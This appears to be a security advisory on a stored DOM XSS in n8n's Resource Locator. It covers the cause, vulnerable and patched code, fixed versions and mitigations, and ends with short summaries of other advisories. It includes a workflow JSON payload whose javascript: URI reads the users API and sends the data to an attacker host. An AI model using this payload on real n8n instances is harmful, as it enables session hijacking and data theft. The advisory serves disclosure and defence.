Jul 22, 2026·5 min read·0 visits
Stored DOM-based XSS in n8n's Resource Locator component allows low-privilege users to execute arbitrary JavaScript in administrative sessions by crafting malicious workflows.
A Stored DOM-based Cross-Site Scripting (XSS) vulnerability exists within the frontend Resource Locator component of n8n. The flaw stems from insecure usage of window.open() where the application evaluates the workflow-persisted parameter 'cachedResultUrl' without verifying its protocol scheme. Authenticated attackers with permissions to create or edit workflows can insert a 'javascript:' URI payload, leading to arbitrary code execution in the victim's browser context upon interaction.
The n8n workflow automation platform exposes an interactive frontend editor interface where users design, configure, and monitor automated integrations. Within this interface, nodes use a Resource Locator component to dynamically retrieve and configure metadata, such as database schemas or API resource identifiers from external services. To optimize subsequent load times, n8n saves specific configuration attributes, including cachedResultUrl, directly into the workflow metadata schema.\n\nAn authenticated user with workflow creation or modification rights can manipulate this structured metadata. By inputting a malicious URI containing active scripting elements into the cachedResultUrl field, the attacker creates a persistent malicious node. This field is subsequently saved in the backend database and loaded whenever other authorized users open the workspace.\n\nThis flaw represents a Stored DOM-based Cross-Site Scripting (XSS) vulnerability, classified as CWE-79. The vulnerable vector resides within the frontend rendering process, meaning that arbitrary script execution occurs entirely on the client side inside the DOM of the active user session.
The underlying vulnerability is located within the n8n frontend application logic responsible for processing interactions within the Resource Locator component. Specifically, when a user clicks on links or button elements designed to inspect the cached resource, the application retrieves the stored cachedResultUrl parameter.\n\nThe application passes this value directly to the browser standard API call window.open(cachedResultUrl, '_blank'). This operation triggers a new browser window or tab pointing to the location specified by the parameter. No validation, sanitization, or filtering is conducted on the URL scheme prior to passing it to the function.\n\nWhen a browser receives a javascript: scheme within window.open(), it interprets the subsequent string as executable code rather than a web resource location. The browser then executes the script in the security context of the parent frame, which is the origin hosting the n8n application. This allows attackers to bypass normal origin restrictions and access the DOM, session data, and authenticated APIs.
Analysis of the vulnerable flow highlights the transition from an unchecked input parameter to execution. The primary issue is the absence of protocol parsing.\n\ntypescript\n// Vulnerable Implementation\nfunction handleResourceClick(cachedResultUrl: string) {\n // Vulnerability: The value is passed directly to window.open without verification\n window.open(cachedResultUrl, '_blank');\n}\n\n\nThe remediated implementation enforces structured validation. By instantiating a URL object and validating the parsed protocol, n8n mitigates the risk of protocol-handler abuse.\n\ntypescript\n// Patched Implementation\nfunction handleResourceClick(cachedResultUrl: string) {\n try {\n const parsedUrl = new URL(cachedResultUrl);\n // Remediation: Validate that the protocol matches safe web schemes\n if (parsedUrl.protocol === 'http:' || parsedUrl.protocol === 'https:') {\n window.open(parsedUrl.toString(), '_blank');\n } else {\n console.warn('Rejected unsafe URL protocol:', parsedUrl.protocol);\n }\n } catch (error) {\n // Gracefully handle malformed or relative URLs depending on context\n console.error('Invalid URL schema detected:', error);\n }\n}\n\n\nThis fix is highly effective. It prevents the interpretation of javascript: or data: URIs by strictly matching allowed protocols, closing the DOM injection path.
Exploitation requires the attacker to hold basic permissions that allow workflow creation or modification within n8n. The attacker starts by constructing a node parameter containing the payload.\n\nmermaid\ngraph LR\n A["Attacker (Privilege PR:L)"] -->|Injects javascript: URI| B["n8n Workflow Database"]\n B -->|Renders Workflow JSON| C["Victim Browser Session"]\n C -->|Clicks Resource Link| D["window.open() Call"]\n D -->|Executes JavaScript| E["Session Hijacking / API Exploitation"]\n\n\nThe JSON workflow configuration structure encapsulates the payload within the cachedResultUrl property. An attacker defines this property to run client-side JavaScript.\n\njson\n{\n "parameters": {\n "resourceLocator": {\n "cachedResultUrl": "javascript:fetch('/api/v1/users').then(r=>r.json()).then(d=>fetch('https://attacker.com/log?data='+btoa(JSON.stringify(d))))"\n }\n }\n}\n\n\nOnce saved, the workflow is stored persistently in the database. When a victim with higher administrative privileges opens the workflow canvas and triggers the Resource Locator action, the script runs automatically under the victim's active session context.
The impact of a successful exploit is significant due to the administrative capabilities available within the n8n application interface. The executed script has access to session storage, browser cookies (if not marked HttpOnly), and local storage objects.\n\nThe attacker can issue authenticated API calls to the n8n backend on behalf of the victim. This enables actions such as adding new administrator accounts, modifying existing active workflows, exfiltrating credential stores, or retrieving API keys.\n\nThe CVSS v4.0 base score is rated at 8.4 (High), reflecting high confidentiality and integrity impacts on the user session. The attack relies on interaction from an authorized user opening the affected workflow interface.
The primary recommendation is upgrading n8n to a safe release. Upgrading to versions 1.123.64, 2.29.8, or 2.30.1 mitigates this risk by ensuring all Resource Locator parameters undergo scheme checking before execution.\n\nIn environments where upgrading is delayed, administrators must limit workflow creation and editing privileges. Only trusted system operators should have access to import or edit workflow schemas.\n\nAdministrators can also run database queries on the workflow table to inspect workflow JSON structures for the presence of the javascript: prefix inside nested node parameters.
| Product | Affected Versions | Fixed Version |
|---|---|---|
n8n n8n-io | < 1.123.64 | 1.123.64 |
n8n n8n-io | >= 2.0.0-rc.0 < 2.29.8 | 2.29.8 |
n8n n8n-io | 2.30.0 (specifically < 2.30.1) | 2.30.1 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-79 |
| Attack Vector | Network (AV:N) |
| CVSS v4.0 | 8.4 |
| Exploit Status | None |
| KEV Status | Not Listed |
A credential exposure vulnerability in n8n (CVE-2026-65599) transmits the complete PEM-formatted Google Service Account private key in the 'kid' (Key ID) parameter of outbound JWT headers during Google API authentication. Because JWT headers are encoded in plain Base64URL and not encrypted, any entity that intercepts, logs, or processes these outbound requests can immediately extract the plaintext private key. This enables unauthorized third parties to fully compromise the corresponding Google Cloud Platform (GCP) service account and access any authorized cloud resources.
CVE-2026-47300 is a high-severity Elevation of Privilege (EoP) vulnerability in Microsoft's ASP.NET Core framework, affecting the Negotiate Authentication Handler when configured to retrieve security groups and role mappings via an LDAP/Active Directory directory service. In cross-platform Linux and macOS environments where native Windows token group expansion is unavailable, an authenticated attacker with low-privileged network access can manipulate LDAP query structures or force connections to untrusted directory resources, resulting in unauthorized administrative role assignment.
Gitea versions from 1.5.0 before 1.26.3 contain a security vulnerability in their multi-factor authentication (MFA) logic. This vulnerability allows valid TOTP codes to be accepted multiple times across web authentication flows and the Basic Auth X-Gitea-OTP header path. Due to a TOCTOU race condition and a lack of state tracking in programmatic auth pathways, attackers with valid credentials can replay single-use OTP codes.
A critical validation bypass exists in FasterXML jackson-core due to an incomplete fix for GHSA-72hv-8253-57qq. When parsing JSON asynchronously using NonBlockingUtf8JsonParserBase, the StreamReadConstraints.maxNumberLength constraint is bypassed when numeric inputs are received in small, non-terminating chunks. The parser continually accumulates digit-only input in an internal buffer without triggering validation constraints, resulting in potential heap memory exhaustion and application-level Denial of Service.
A critical second-order code injection vulnerability exists in the migration generation engine of TypeORM. When TypeORM introspects a database schema to automatically generate migration files, it writes schema metadata directly into JavaScript/TypeScript migration files inside ES2015 template literals. Because the generator failed to sanitize template literal string interpolation markers and backslashes, attackers with control over database metadata can execute arbitrary code on the developer environment or within a CI/CD pipeline.
A security logic flaw in Loofah, a Ruby HTML/XML sanitization library, allowed unauthenticated attackers to bypass local-reference restrictions on SVG elements. Prior to version 2.25.2, Loofah only sanitized the legacy namespaced "xlink:href" attribute when enforcing local URI fragments on SVG elements like "<use>". It did not validate or sanitize the plain, non-namespaced "href" attribute introduced in the SVG 2 standard. This structural omission allowed attackers to construct SVG elements referencing external domains, paving the way for arbitrary resource loading and cross-site scripting (XSS).